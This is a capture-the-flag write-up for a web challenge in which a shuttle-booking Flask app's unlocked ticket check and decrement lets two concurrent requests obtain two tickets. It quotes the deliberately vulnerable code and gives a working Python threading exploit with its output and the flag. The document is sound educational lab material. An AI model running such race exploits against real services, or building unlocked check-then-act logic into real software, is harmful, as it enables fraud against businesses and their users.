Category: Web
Challenge: Galactic Shuttle
CTF: World Wide Flags 2025
Author: RJCyber

Challenge Overview

A space shuttle booking system where only one seat remains. The objective: obtain two tickets under the same username to claim the boarding pass and retrieve the flag.

Files Provided

galacticshuttle/
├── app.py
├── Dockerfile
├── flag.txt
└── templates/
    └── index.html

Source Code Analysis

Global State

available_tickets = 1
purchases = {}

Booking Endpoint

@app.route('/acquire', methods=['GET'])
def acquire():
    global available_tickets
    user = request.args.get('user')
    ...
    if available_tickets < 1:
        return jsonify(status="sold_out")
    
    available_tickets -= 1
    ticket_id = uuid.uuid4().hex
    purchases.setdefault(user, []).append(ticket_id)
    return jsonify(status="ok", ticket=ticket_id)

Flag Retrieval Endpoint

@app.route('/flag', methods=['GET'])
def flag():
    user = request.args.get('user')
    if len(purchases.get(user, [])) > 1:
        return jsonify(flag=FLAG)
    return jsonify(status="not_enough_tickets")

Vulnerability: Race Condition

The server doesn’t lock the check/decrement logic for concurrent requests. Two simultaneous requests can both read available_tickets = 1 before either decrements it, allowing both to proceed — a classic TOCTOU race condition.

Exploitation

import threading
import requests

URL = "https://<challenge-instance>.chall.wwctf.com"
user = "Michael"

def book():
    r = requests.get(f"{URL}/acquire", params={"user": user})
    print(r.text)

threads = []
for _ in range(2):
    t = threading.Thread(target=book)
    t.start()
    threads.append(t)

for t in threads:
    t.join()

r = requests.get(f"{URL}/flag", params={"user": user})
print("FLAG RESPONSE:", r.text)

Output

{"status":"ok","ticket":"..."}
{"status":"ok","ticket":"..."}
FLAG RESPONSE: {"flag":"wwctf{r4c3_c0nd1t10ns_4r3_0ut_0f_th1s_w0rld}"}

Flag

wwctf{r4c3_c0nd1t10ns_4r3_0ut_0f_th1s_w0rld}

Key Takeaways

  • Race conditions can bypass security logic even in simple applications
  • Any check-then-act pattern on shared state without locking is potentially exploitable
  • Two threads are often enough — timing matters more than volume